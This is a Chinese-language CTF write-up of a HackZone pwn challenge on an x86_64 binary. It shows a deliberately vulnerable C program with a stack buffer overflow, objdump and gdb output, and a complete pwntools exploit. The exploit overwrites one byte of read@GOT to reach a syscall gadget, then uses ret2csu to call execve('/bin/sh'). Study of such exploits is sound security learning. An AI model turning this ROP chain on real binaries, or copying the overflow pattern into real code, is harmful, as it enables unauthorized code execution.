HackZone CTF比赛上一道X86_64上使用任意内存写来获取RCE题目的WriteUp
导语:只通过read函数达到RCE这种方法还真的是第一次见,使用 read函数在`.bss`部分中写入`/bin/sh`非常有意思,后面就可以使用read函数读取0x3b(`sys_execve`)任意数据的大小,思路新奇。
0x01 概述
在HackZone CTF解pwn题时,我仅通过使用readlibc中的函数就找到了一种新的任意代码执行技术。
安全研究中几乎不可能仅通过任意写入来利用二进制文件,因为在现实世界中,需要泄漏一些数据(特别是在启用ASLR时),然后跳转到正确的位置。但是我对如何在X86_64平台上仅使用read @ GLIBC (Arbitrary Write)获得RCE有了一个想法。
0x02 PWN.c
// gcc -fno-stack-protector -no-pie pwn.c -o pwn #include #include int main(){ char buf[100]; read(0, &buf, 500); }
使用此代码,我将对其进行编译,并尝试使用我的方法来利用它!
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
GOT表是可写的,因此这将有助于覆盖read @ GOT,但是问题在于将使用哪种数据来覆盖read @ GOT,因为unable leak address和ASLR已启用!
0x03 阅读@GOT
root@kali:~# objdump -R ./pwn ./pwn: file format elf64-x86-64 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0000000000403ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5 0000000000403ff8 R_X86_64_GLOB_DAT __gmon_start__ 0000000000404018 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5 gdb-peda$ x/g 0x404018 0x404018 : 0x00007ffff7ee2850
在示例0x404018中,GOT表中的地址指向read@GLIBC_2.2.5libc中的地址。
0x04 阅读@GLIBC
gdb-peda$ disassemble read Dump of assembler code for function __GI___libc_read: 0x00007ffff7ee2850 : lea rax,[rip+0xd3b79] 0x00007ffff7ee2857 : mov eax,DWORD PTR [rax] 0x00007ffff7ee2859 : test eax,eax 0x00007ffff7ee285b : jne 0x7ffff7ee2870 0x00007ffff7ee285d : xor eax,eax 0x00007ffff7ee285f : syscall 0x00007ffff7ee2861 : cmp rax,0xfffffffffffff000 0x00007ffff7ee2867 : ja 0x7ffff7ee28c0 0x00007ffff7ee2869 : ret 0x00007ffff7ee286a : nop WORD PTR [rax+rax*1+0x0] 0x00007ffff7ee2870 : sub rsp,0x28 0x00007ffff7ee2874 : mov QWORD PTR [rsp+0x18],rdx 0x00007ffff7ee2879 : mov QWORD PTR [rsp+0x10],rsi 0x00007ffff7ee287e : mov DWORD PTR [rsp+0x8],edi 0x00007ffff7ee2882 : call 0x7ffff7efe570 ...
函数read @ GLIBC的汇编代码,可以看到syscall第一条指令距离ret第一条指令仅15位,其后到第一条指令仅45位。
read @ GOT 中的一个字节覆盖可以创建一个gadget syscall; ret
0x05 Pwn
总结利用二进制文件的所有步骤,需要做的是:
需要使用ret2csu技术来控制RDI,RSI和RDX。
使用 read函数在.bss部分中写入/bin/sh。
read@GOT用一个字节覆盖,以0x5f使read函数指向syscall指令。
因为用onebyte 覆盖,所以意味着RAX等于1。
RAX寄存器等于1,并且read函数指向syscall指令,那意味着我们有一个write函数。
使用read函数,0x3b将从(.text或.bss)中读取任意数据的大小,以使RAX等于0x3b(sys_execve)。
现在RAX等于0x3b并且/bin/sh在内存中,需要做的就是触发一个 syscall。
获得一个shell。
0x06 Exploit
from pwn import * p = process('./pwn') read_got = p64(0x404018) # read@got read_plt = p64(0x401030) # read@plt str_bin_sh = p64(0x404100) # 0x00404000 (bss) + 0x100 text = p64(0x401000) # .text section csu_init1 = p64(0x4011a2) # pop rbx csu_init2 = p64(0x401188) # mov rsi, r13 csu_fini = p64(0x4011b0) # ret sys_execve = p64(0x3b) null = p64(0x0) one = p64(0x1) zero = p64(0x0) stdin = p64(0x0) stdout = p64(0x1) junk = 'JUNKJUNK' bin_sh = '/bin/sh\x00' len_bin_sh = p64(len(bin_sh)) def ret2csu(func_GOT, rdi, rsi, rdx): ret_csu = zero # pop rbx ret_csu += one # pop rbp ret_csu += rdi # pop r12 ret_csu += rsi # pop r13 ret_csu += rdx # pop r14 ret_csu += func_GOT # pop r15 ret_csu += csu_init2 # ret ret_csu += junk # add rsp,0x8 return ret_csu crash = 'A' * 120 # Write '/bin/sh' in str_bin_sh rop = csu_init1 rop += ret2csu(read_got, stdin, str_bin_sh, len_bin_sh) # Overwrite read@got with one_byte rop += ret2csu(read_got, stdin, read_got, one) # Read arbitrary data in order to gt 0x3b in RAX rop += ret2csu(read_got, stdout, text, sys_execve) # sys_execve('/bin/sh') rop += ret2csu(read_got, str_bin_sh, null, null) payload = crash + rop exploit = payload.ljust(500, 'A') p.send(exploit) p.send(bin_sh) p.send('\x5f') garbage = p.recv() p.interactive()
0x07 题目下载
read_glibc.zip
https://amriunix.com/files/from-read-glibc-to-rce-x86_64/read_glibc.zip
0x08 学习总结
只通过read函数达到RCE这种方法还真的是第一次见,使用 read函数在.bss部分中写入/bin/sh非常有意思,后面就可以使用read函数读取0x3b(sys_execve)任意数据的大小,思路新奇。
发表评论